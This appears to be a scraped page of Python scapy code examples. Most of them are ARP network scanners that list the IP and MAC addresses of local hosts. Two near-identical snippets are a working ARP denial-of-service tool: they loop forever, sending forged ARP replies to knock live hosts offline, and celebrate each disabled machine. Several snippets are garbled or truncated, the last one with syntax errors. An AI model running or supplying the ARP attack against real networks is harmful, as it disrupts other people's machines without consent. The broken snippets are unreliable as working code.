Ejemplo n.º 1
0
 def get_mac_address(self, ip):
     # TODO: interface should be configured in settings
     ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=3, iface="eth1")
     macaddress = ""
     for s, r in ans:
         macaddress = r.sprintf("%Ether.src%")
     return macaddress
Ejemplo n.º 2
0
 def get_online_addresses(self, pool):
     ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=pool), timeout=2, iface="eth1")
     hosts = []
     for s, r in ans:
         host_ip = r.sprintf("%ARP.psrc%")
         host_mac = r.sprintf("%Ether.src%")
         hosts.append((host_ip, host_mac))
     return hosts
Ejemplo n.º 3
0
def arping(iprange="10.0.1.0/24"):
    """Arping function takes IP Address or Network, returns nested mac/ip list"""
    conf.verb=0
    ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=iprange), timeout=2)
    collection = []
    for snd, rcv in ans:
        result = rcv.sprintf(r"%ARP.psrc% %Ether.src%").split()
        collection.append(result)
    return collection
def arping(iprange="10.0.1.0/24"):
    """Arping function takes IP Address or Network, returns nested mac/ip list"""

    conf.verb = 0
    ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=iprange),
                     timeout=2)
    collection = []
    for snd, rcv in ans:
        result = rcv.sprintf(r"%ARP.psrc% %Ether.src%").split()
        collection.append(result)
    return collection
Ejemplo n.º 5
0
def scan(ip):
    arp_request = scapy.ARP(pdst = ip)
    broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]

    clients_list = []
    for element in answered_list:
        client_dict = {'ip':element[1].psrc, 'mac':element[1].hwsrc}
        clients_list.append(client_dict)

    return clients_list
Ejemplo n.º 6
0
def fisting():
    arp_fist = ARP(pdst=argv[1], op=2)
    print "We are going to loop forever, CTRL-C to stop...\n"
    while True:
        sleep(3)
        for a in arp_fist:
            arping = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=a.pdst)
            ans, unans = srp(arping, timeout=0.1)
            if len(ans) == 1:
                a.psrc = a.pdst
                print a.pdst, "is ALIVE!"
                print "* Time to shut it down!"
                send(a)
                ans2, unans2 = srp(arping, timeout=0.1)
                if len(unans2) == 1:
                    print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
                    print "@@@", a.psrc, "was rubber fisted!"
                    print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
                    sleep(3)
                else:
                    print "FAILED:", a.pdst, "is still alive :-("
            else:
                print a.pdst, "is already DEAD!"
            print
Ejemplo n.º 7
0
def fisting():
    arp_fist = ARP(pdst=argv[1],op=2)
    print "We are going to loop forever, CTRL-C to stop...\n"
    while True:
        sleep(3)
        for a in arp_fist:
            arping = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=a.pdst)
            ans,unans = srp(arping,timeout=0.1)
            if len(ans) == 1:
                a.psrc=a.pdst
                print a.pdst, "is ALIVE!"
                print "* Time to shut it down!"
                send(a)
                ans2,unans2 = srp(arping,timeout=0.1)
                if len(unans2) == 1:
                    print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
                    print "@@@", a.psrc, "was rubber fisted!"
                    print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
                    sleep(3)
                else:
                    print "FAILED:", a.pdst, "is still alive :-("
            else:
                print a.pdst, "is already DEAD!"
            print
Ejemplo n.º 8
0
def arping(iprange="10.0.1.0/24"):
    conf.verb = 0
    ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=iprange),
                     timeout=2)

    collection = []
    for snd, rcv in ans:
        result = rcv.sprintf(r"%ARP.psrc% %Ether.src%").split()
        collection.append(result)
    return collection

    if __name__ == '__main__':
        if len(sys.argv) > 1:
            for ip in sys.argv[1:]:
                print "arping", ip
                print arping(ip)

        else:
            print apring()
def scan(ip):  #1. who has target ip
    arp_request = scapy.ARP(
        pdst=ip
    )  # use scapy.ls(scapy.ARP) to find all the argument can set for scapy.ARP , print(arp_request.show())--> to see all the packet feild  , summary():implemeted by scapy to print content of packet
    broadcast = scapy.Ether(
        dst="ff:ff:ff:ff:ff:ff"
    )  #2.set dest mac to broadcast MAC, to create ethernet object and store in broadcast with dest broadcast feild as ff:...:ff
    arp_request_broadcast = broadcast / arp_request  #in scapy broadcast is append with arp request new packet with combination of both, print(arp_request_broadcast.summary(),arp_request_broadcast.show() )
    answered_list = scapy.srp(
        arp_request_broadcast, timeout=1, verbose=False
    )[0]  #will send the packet and return value (couple of two values answered,unanswered) print(answered.summary())
    #as it give 2 values we are telling it to give only element 0 by [0]
    clients_list = []
    for element in answered_list:  #parse response
        client_dict = {
            "ip": element[1].psrc,
            "mac": element[1].hwsrc
        }  #print(element1.show())
        clients_list.append(client_dict)
    return clients_list
Ejemplo n.º 10
0
from scapy import srp,Ether,ARP,conf

conf.verb=0
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst = "10.0.1.1"), 
                 timeout = 2)

for snd, rcv in ans:
    print rcv.rprintf(r"%Ether.src% %ARP.psrc%")
Ejemplo n.º 11
0
#! /usr/bin/env python
# arping2tex : arpings a network and outputs a LaTeX table as result
import sys
if len(sys.argv) != 2:
    print "Usage: arping2tex <net>\n eg: arping2tex 192.168.1.0/24"
    sys.exit(1)
from scapy import srp, Ether, ARP, conf
conf.verb = 0
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=sys.argv[1]),
                 timeout=2)
print "\\begin{tabular}{|l|l|}"
print "\\hline"
print "MAC & IP\\\\"
print "\\hline"
for s, r in ans:
    print r.sprintf("%Ether.src% & %ARP.psrc%\\\\")
print "\\hline"
print "\end{tabular}"
Ejemplo n.º 12
0
#! /usr/bin/env python
# arping2tex : arpings a network and outputs a LaTeX table as result
import sys
if len(sys.argv) != 2:
    print "Usage: arping2tex <net>\n eg: arping2tex 192.168.1.0/24"
    sys.exit(1)
from scapy import srp,Ether,ARP,conf
conf.verb=0
ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=sys.argv[1]),timeout=2)
print "\\begin{tabular}{|l|l|}"
print "\\hline"
print "MAC & IP\\\\"
print "\\hline"
for s,r in ans:
    print r.sprintf("%Ether.src% & %ARP.psrc%\\\\")
print "\\hline"
print "\end{tabular}"
Ejemplo n.º 13
0
from scapy import srp,Ether,ARP,conf

conf.verb=0
ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.0.1.1"),
timeout=2)

for snd, rcv in ans:
    print rcv.sprintf(r"%Ether.src% %ARP.psrc%")
Ejemplo n.º 14
0
#from scapy.all import srp,Ether,ARP,conf
import sys
from datetime import datetime
try:
    interface = raw_input("enter iface")
    ips = raw
try:
    from scapy import srp,Ether,ARP,conf
except ImportError:
    del scapy
    from scapy import all as scapy
conf.verb = 0
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff"))/ARP, timeout = 2, iface = interface, inter =0.1